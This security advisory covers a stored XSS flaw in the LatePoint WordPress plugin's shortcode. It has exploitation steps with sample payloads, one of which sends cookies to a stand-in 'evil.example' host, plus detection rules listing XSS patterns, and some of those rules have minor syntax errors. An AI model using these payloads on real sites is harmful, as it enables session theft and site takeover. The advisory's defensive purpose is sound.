CVE-2026-5391

Executive Summary

CVE-2026-5391 is a Stored Cross-Site Scripting (XSS) vulnerability affecting the LatePoint plugin for WordPress, a widely used appointment scheduling and booking solution. The flaw exists in the 'btn_wrapper_classes' attribute of the 'latepoint_resources' shortcode across all versions up to and including 5.3.2. The root cause stems from insufficient input sanitization and output escaping within the 'locations' branch of the shortcode_latepoint_resources function. Authenticated attackers with contributor-level access or higher can exploit this to inject arbitrary web scripts that execute when any user visits the compromised page. With a CVSS score of 6.4 (Medium), the vulnerability has a low complexity attack vector and impacts confidentiality and integrity, but not availability.

Technical Analysis

The vulnerability resides in the WordPress plugin's shortcode implementation, which handles the rendering of booking resource information through the latepoint_resources shortcode. The specific insecure parameter is the btn_wrapper_classes attribute, which is processed in the 'locations' conditional branch of the shortcode_latepoint_resources function.

Vulnerability Mechanism: The plugin fails to properly sanitize user-supplied input within the btn_wrapper_classes attribute before reflecting it into the generated HTML output. Since the output is not escaped using WordPress's security functions (e.g., esc_attr(), esc_html(), or wp_kses()), dynamic JavaScript can be injected directly into the WordPress page.

Code Path: When an authenticated user with contributor privileges (or higher) creates a page or post containing the LatePoint shortcode and passes a malformed btn_wrapper_classes value, the plugin's rendering engine processes it through the locations branch. This branch conditionally handles output based on booking location data, and the value is written directly into the class attribute context.

Attack Surface: The attack vector is network-based. Authentication is required, but only at the contributor level, which is one of the lowest privilege tiers for content publishing in WordPress. This significantly broadens the potential attacker pool, as contributor accounts are often assigned to lower-trusted individuals or are obtained through previous compromise of low-privilege accounts.

Root Cause: The vulnerability is a classic case of improper neutralization of input during web page generation (CWE-79). Specifically, it combines:

• Insufficient input sanitization — no stripping of HTML/JavaScript special characters
• Insufficient output escaping — no encoding of special characters when rendering the attribute value

Exploitation Scenarios

Step 1 — Reconnaissance and Target Identification: An attacker first identifies WordPress sites running the LatePoint plugin version 5.3.2 or earlier. This can be accomplished by:

• Searching for sites using the plugin via web crawlers or WordPress plugin repositories
• Fingerprinting the plugin through page source analysis or common path probing (e.g., checking for LatePoint-specific assets or AJAX endpoints)
• Scanning for instances using Shodan dorks such as http.component:"LatePoint" or http.component:"wordpress"

Step 2 — Account Access or Creation: The attacker requires a contributor-level account. Options for obtaining one:

• Credential stuffing or brute-force attacks to compromise an existing contributor account
• Exploiting a separate vulnerability to escalate privileges to contributor
• Social engineering to convince an administrator to create a contributor account
• Registering for a site that allows user registration with contributor role capabilities

Step 3 — Payload Construction and Weaponization: The attacker crafts a malicious shortcode payload. The vulnerable shortcode usage within a page or post body would appear as:

[latepoint_resources btn_wrapper_classes="your-class" onmouseover="alert(document.cookie)"]

However, to bypass any partial filtering and ensure reliable execution, the attacker uses event handlers or script injection. A more effective payload leverages breaking out of the class attribute:

[latepoint_resources btn_wrapper_classes="test" autofocus onfocus="alert('XSS_CVE-2026-5391')"]

For stealth, the attacker may use obfuscated JavaScript:

[latepoint_resources btn_wrapper_classes="x" onmouseover="fetch('https://evil.example/steal?c='+document.cookie)"]

Step 4 — Execution: Since this is Stored XSS, the payload persists in the database. When an administrator or any user navigates to the page containing the malicious shortcode, the browser parses the injected event handler or script, executing it within the context of the victim's WordPress session.

Step 5 — Post-Exploitation Impact:

• Session Hijacking: The injected script can steal authentication cookies, allowing the attacker to impersonate the victim, especially targeting administrators.
• Admin Account Creation: If an admin views the page, the script can programmatically create a new administrator account via the WordPress REST API or AJAX endpoints.
• Content Defacement: The script can alter page content or inject phishing forms.
• Malware Distribution: Using the compromised (but admin-authenticated) session, the attacker can upload a backdoor plugin or theme, establishing persistent access.

Impact Assessment

Business Impact: This Stored XSS vulnerability poses a significant risk to organizations using LatePoint for customer-facing booking functionality. Since the injected scripts execute whenever the affected page is loaded — including by customers, prospects, and internal staff — the potential for brand damage and loss of customer trust is high. The attacker's ability to steal session cookies and escalate privileges from a contributor account to full administrative control makes this a stepping stone for complete site compromise.

Technical Impact: The CVSS vector (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N) indicates:

• Confidentiality (L): Partial disclosure of data through cookie theft and data exfiltration.
• Integrity (L): Ability to modify page content, inject malicious content, and potentially alter site configuration.
• Scope Change (S): The impact extends beyond the vulnerable component to affect the entire WordPress application, as scripts run in the context of the authenticated user's session.

Blast Radius: The blast radius is broad. Any page where the latepoint_resources shortcode is rendered (booking pages, service lists, resource directories) becomes an attack vector. Because the plugin is widely used across e-commerce, service industry, healthcare, and education sectors, the potential footprint is substantial.

CVSS Rationale: The Medium severity (6.4) reflects the required authentication (contributor level) but acknowledges the network-based exploitation, low complexity, and inability of Basic Authentication to contain the cross-site impact due to the Scope:Changed component.

Detection Guidance

Sigma Rule

title: LatePoint Plugin Stored XSS via btn_wrapper_classes
id: 8f3a6e2e-latepoint-xss-2026-5391
status: experimental
description: Detects POST requests to WordPress admin pages containing the latepoint_resources shortcode with malicious btn_wrapper_classes attribute.
logsource:
    category: webserver
    product: apache
detection:
    selection:
        http.method: POST
        http.url|contains:
            - '/wp-admin/'
            - 'post.php'
            - 'post-new.php'
    keywords:
        - 'latepoint_resources'
        - 'btn_wrapper_classes'
        - '<script'
        - 'onerror'
        - 'onmouseover'
        - 'onfocus'
        - 'javascript:'
    condition: selection and keywords
falsepositives:
    - Legitimate use of the shortcode with innocuous class names
level: high

YARA Rule

rule LatePoint_XSS_btn_wrapper_classes {
    meta:
        author = "ValtersIT Threat Intel"
        description = "Detects stored XSS payloads targeting CVE-2026-5391 in LatePoint plugin"
        cve = "CVE-2026-5391"
        date = "2026-02-15"
    strings:
        $shortcode = "latepoint_resources"
        $vuln_attr = "btn_wrapper_classes"
        $xss1 = /on\w+\s*=\s*("[^"]*|<[^>]*)\(/
        $xss2 = "<script"
        $xss3 = "javascript:"
        $xss4 = "onerror="
        $xss5 = "onfocus="
        $xss6 = "onmouseover="
    condition:
        $shortcode and $vuln_attr and 1 of ($xss*)
}

Suricata IDS Rule

alert http any any -> $HOME_NET any (msg:"CVE-2026-5391 LatePoint Stored XSS via btn_wrapper_classes"; flow:established,to_server; content:"POST"; http_method; content:"/wp-admin/"; http_uri; content:"latepoint_resources"; http_client_body; nocase; content:"btn_wrapper_classes"; http_client_body; nocase; pcre:"/(on\w+\s*=\s*|javascript:|<script)"; sid:20265391; rev:1; classtype:web-application-attack;)

Elastic Detection

sequence by host.name with maxspan=5m
  [any where process.name == "php-fpm7.4" and process.args == "wp-admin/admin-ajax.php"]
  [network where destination.port == 443 and process.name == "php-fpm7.4"]
  [http where event.action == "request" and http.request.method == "POST" and
   url.path == "/wp-admin/post.php" and
   wildcard(http.request.body.content, "*latepoint_resources*") and
   wildcard(http.request.body.content, "*btn_wrapper_classes*") and
   (wildcard(http.request.body.content, "*<script*") or
    regex(http.request.body.content, "on\w+\s*=\s*[^>]{0,100}\(")]

Splunk SPL Query

index=web sourcetype=access_combined
| search uri_path="/wp-admin/*" method=POST
| rex field=_raw "messages=(?<body>.*)"
| where like(body, "%latepoint_resources%") AND like(body, "%btn_wrapper_classes%")
| regex body="(on\w+\s*=\s*|<script|javascript:)"
| stats count by src_ip, uri_path, body, _time
| sort - _time

Wazuh OSSEC Rule

<group name="web_application,">
  <rule id="943406" level="12">
    <if_sid>31122</if_sid>
    <match>POST</match>
    <regex>\/wp-admin\/post\.php</regex>
    <match>latepoint_resources</match>
    <match>btn_wrapper_classes</match>
    <regex>on\w+\s*\=|&lt;script|javascript:</regex>
    <description>LatePoint (CVE-2026-5391): Stored XSS attempt via btn_wrapper_classes attribute detected.</description>
    <group>vulnerability,xss,wordpress,</group>
  </rule>
</group>

Mitigation & Patch Guidance

Patch Confidence: 0/4 — No patch evidence exists from any tracked source. The plugin vendor has not released a fixed version as of the analysis date.

Immediate Mitigations:

1. Restrict Contributor Accounts: Since the vulnerability requires contributor-level access, minimize the number of such accounts. Review and remove unnecessary contributor users. Implement strong password policies and enforce multi-factor authentication (MFA) for all users, particularly those with content editing capabilities.

2. Disable Untrusted Shortcode Content: Temporarily modify the affected plugin's shortcode_latepoint_resources function to sanitize the btn_wrapper_classes attribute using WordPress's built-in sanitize_html_class() function or esc_attr(). This serves as an emergency stopgap measure.

3. Web Application Firewall (WAF) Rules: Deploy or update WAF rules to block POST requests to wp-admin/post.php and admin-ajax.php that contain latepoint_resources combined with dangerous XSS patterns in the request body.

4. Content Security Policy (CSP): Implement a strict CSP header that disallows inline scripts (script-src 'self'), which will neutralize many XSS execution attempts even if the vulnerability is triggered.

5. Monitor Unusual Content Changes: Alert on any modifications to existing pages/posts that introduce suspicious shortcode attributes, particularly those with event handler strings.

Patch/Upgrade Steps:

1. Monitor for Vendor Updates: Continuously check the LatePoint plugin's official channel and the WordPress Plugin Directory for a patched version.
2. Upgrade Once Available: Immediately apply the patched version (expected to be 5.3.3 or later) once released. Follow the standard WordPress update process: backup → update via dashboard or Composer → verify functionality.
3. Test in Staging: Validate the patch in a staging environment to ensure no regressions in booking functionality.

Long-Term Hardening:

1. Implement Least Privilege: Enforce a principle of least privilege for WordPress roles. Restrict contributor-level permissions and segregate content editing duties.
2. Regular Security Audits: Conduct periodic audits of all installed plugins, focusing on shortcode handling and input/output escaping practices.
3. Harden WordPress Configuration: Disable file editing, limit plugin/theme installations to vetted admins, and use a reputable security plugin for additional layers of defense.
4. Maintain Backups: Ensure regular, tested backups exist to enable rapid recovery from a potential compromise.

References

1. NVD Entry: https://nvd.nist.gov/vuln/detail/CVE-2026-5391 — Official CVE record with the vulnerability description and CVSS vector.

2. WordPress Plugin Directory: https://wordpress.org/plugins/latepoint/ — Official plugin repository for monitoring releases and version history.

3. OWASP XSS Prevention Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html — Reference for proper output encoding and contextual escaping.

4. CWE-79 (Improper Neutralization of Input During Web Page Generation): https://cwe.mitre.org/data/definitions/79.html — Common Weakness Enumeration for XSS vulnerabilities.

5. CISA Known Exploited Vulnerabilities Catalog: https://www.cisa.gov/known-exploited-vulnerabilities-catalog — Not currently listed (KEV status: NO), but should be monitored for updates.

Threat Actor Campaigns: As of the analysis date, no known threat actor campaigns have been publicly attributed to this specific CVE. The vulnerability is not listed in the CISA KEV catalog, and the PoC/exploit status is unknown with no public evidence of weaponization or in-the-wild exploitation. However, given the historical prevalence of WordPress plugin XSS vulnerabilities being exploited once publicized, proactive detection and mitigation measures are strongly recommended.